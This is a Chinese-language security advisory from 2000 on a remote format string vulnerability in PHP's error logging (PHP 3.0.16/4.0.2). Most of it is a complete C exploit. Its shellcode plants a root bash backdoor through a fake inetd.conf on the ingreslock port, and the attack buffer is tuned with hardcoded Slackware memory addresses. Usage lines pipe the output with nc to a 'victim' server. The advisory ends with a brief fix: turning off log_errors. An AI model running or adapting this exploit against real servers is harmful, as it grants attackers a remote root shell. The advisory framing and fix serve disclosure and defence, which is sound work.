PHP Error LOG的格式化字符串漏洞发布时间：2000-10-13 更新时间：2000-10-13 严重程度：高 威胁程度：远程管理员权限 错误类型：设计错误 利用方式：服务器模式 受影响系统 PHP PHP 4.00详细描述 PHP中处理错误记录的函数存在格式化字符串的漏洞，当PHP.INI文件中的 error log记录为ON的时候，就有可能导致用户在传递参数的时候出现 格式化字符串的攻击，导致远程获得WEB的SHELL。 测试代码 /* * PHP 3.0.16/4.0.2 remote format overflow exploit. * Copyright (c) 2000 * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau * gneisenau@berlin.com * my regards to sheib and darkx * All rights reserved * Pascal Boucheraine's paper was enlightening * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE. * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE * FOR THE CONSEQUENCES * Usage: * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80 */ /* * We just printf the shellcode and stuff and nc it to the target */ #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at // the end of the shellcode will be removed as the shellcode is probably // strcatted into the buffer. so do it again in the shellcode. /* * This shellcode is for Linux/x86. * This shellcode spawns a shell and runs the command * echo 'ingreslock stream tcp nowait root /bin/bash bash -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf */ char shellcode[] = { 0xeb,0x41, 0x5e, 0x31,0xc0, 0x31,0xdb, 0xb0,0xa0, 0x89,0x34,0x06, 0x8d,0x4e,0x07, 0x88,0x19, 0x41, 0x41, 0xb0,0xa4, 0x89,0x0c,0x06, 0x8d,0x4e,0x0b, 0x88,0x19, 0x41, 0xb0,0xa8, 0x89,0x0c,0x06, 0x8d,0x4e,0x7f, 0x88,0x19, 0x31,0xd2, 0xb0,0xac, 0x89,0x14,0x06, 0x89,0xf3, 0x89,0xf1, 0xb0,0xa0, 0x01,0xc1, 0xb0,0x0b, 0xcd,0x80, 0x31,0xc0, 0xb0,0x01, 0x31,0xdb, 0xcd,0x80, 0xe8,0xba,0xff,0xff,0xff, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */ 0x2d,0x63,0xff, /* the string "-c" */ 0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69, 0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74, 0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77, 0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69, 0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20, 0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69, 0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f, 0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65, 0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65, 0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00, }; #define NOP 0x90 /* * the PHP3 error buffer will already contain PHP 3 Warning: The Content-Type * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces * for padding the addresses we embed in our attack buffer on word boundary */ #define PHP3_WARNING 68 #define BUF_LEN 1024 struct system_type { char *name; unsigned int nop; char *shellcode; int shellcode_len; int offset; /* the number of pops we need to get to our own data*/ int already_written; /* number of bytes written by printf by the time we reach the our embedded data */ unsigned int eip_address; /* address where shellcode_address must be put */ unsigned int shellcode_address; /* address of shellcode in memory */ }; struct system_type systems[] = { { "Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)", 0x90, shellcode, 270, /* not exact but we got lots of space ;) */ 27, 0x152, 0xbfff9c30, 0xbfff962c, }, // somebody find these and fill it in please. should be // straightforward. { "Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)", (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, { NULL, (unsigned int)NULL, NULL, (int)NULL, (int)NULL, (int)NULL, (unsigned int)NULL, (unsigned int)NULL, }, }; void usage (void); void parse_url (char *, char *); void prepare_attack_buffer (char *, struct system_type *, char *); int calculate_precision (unsigned int, int); int main (int argc, char *argv[]) { char attack_buffer[2000]; // we construct the shellcode and stuff here // the target is 1024 bytes long struct system_type *sysptr; char *url; // i hope these things dont get bigger than this char target[2048]; // target will contain only the FQDN unsigned int eip_address = 0, shellcode_address = 0; int ctr = 0; int nop_count; char *walk; int arg; // at least expect a system type and url from the command line if (argc < 3) usage (); // parse arguments while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){ switch (arg){ case 'h': sscanf (optarg, "%x", &shellcode_address); break; case 'e': sscanf (optarg, "%x", &eip_address); break; case 's': sysptr = &systems[atoi (optarg)]; break; case 'u': url = optarg; parse_url (url, target); break; case '?': default : usage (); } } if (eip_address) sysptr->eip_address = eip_address; if (shellcode_address) sysptr->shellcode_address = shellcode_address; prepare_attack_buffer (attack_buffer, sysptr, url); // as of now write it out to stdout. later write it to a socket write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer)); } void prepare_attack_buffer (char *attack_buffer, struct system_type *system, char *url) { int dest_buffer_written; /* we keep track of how much bytes will be written in the destination buffer */ int ctr; char *address; char buf[25]; // temp buffer for %xd%n%xd%n%xd%n%xd%n // where x is precision int p1,p2,p3,p4; int nop_count; bzero (attack_buffer, 2000); sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection: close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data ", url); // mark strlen here. whatever we write after here appears in the buffer dest_buffer_written = strlen (attack_buffer); strcat (attack_buffer, "\x11\x11\x11\x11"); address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); strcat (attack_buffer, "\x11\x11\x11\x11"); system->eip_address++; address = (char *)&system->eip_address; strncat (attack_buffer, address, 4); /* * we need to add %x corresponding to the number of pops we need to reach * our embedded addresses we defined above */ for (; system->offset; system->offset--) strcat (attack_buffer, "%x "); p1 = calculate_precision ((system->shellcode_address & 0x000000ff), system->already_written); p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8, system->already_written); p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16, system->already_written); p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24, system->already_written); sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4); strcat (attack_buffer, buf); ctr = strlen (attack_buffer); dest_buffer_written = ctr - dest_buffer_written; dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains the number of bytes the PHP_WARNING and then the 8 4 byte values and then the %x to pop off the stack attack_buffer += ctr; nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len; memset (attack_buffer, NOP, nop_count); /* * Add our shellcode at last */ attack_buffer += nop_count; strcat (attack_buffer, shellcode); strcat (attack_buffer, "\n"); strcat (attack_buffer, "Content-Length: 1337\n\n"); } void usage (void) { int ctr; fprintf (stderr, " Apache/PHP xploit\n"); fprintf (stderr, " Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau\n"); fprintf (stderr, " for the r00tcrew\n"); fprintf (stderr, " All rights reserved\n"); fprintf (stderr, "\nUsage:\n"); fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h shellcode address ]\n\n"); fprintf (stderr, "url: the complete url including FQDN and script on the server\n"); fprintf (stderr, " www.victim.com/info.php3\n"); fprintf (stderr, "available systypes:\n"); for (ctr = 0; systems[ctr].name; ctr++) fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name); fprintf (stderr, "eip address: the address which the xploit overwrites with buffer address (specify thus 0xbfff9c30) \n"); fprintf (stderr, "shellcode address: the address which points to the NOPs (specify thus 0xbfff962c)\n"); fprintf (stderr, "\n"); exit (1); } void parse_url (char *url, char *target) { char *ptr; strcpy (target, url); if (!(ptr = index (target, '/'))){ fprintf (stderr, "invalid url. specify the script name on the target server too\n"); exit (1); } *ptr = '\0'; } /* * addr_byte contains the byte we need to write out. for example: 2c in * 0xbfff962c, then 96, ff and bf. */ int calculate_precision (unsigned int addr_byte, int already_written_init) { static int already_written = 0; int tmp; if (!already_written) already_written = already_written_init; while (addr_byte < already_written) addr_byte += 0x100; tmp = addr_byte - already_written; already_written = addr_byte; return tmp; } 解决方案 在php.ini中把"log_errors = Off"设置。 相关信息 |
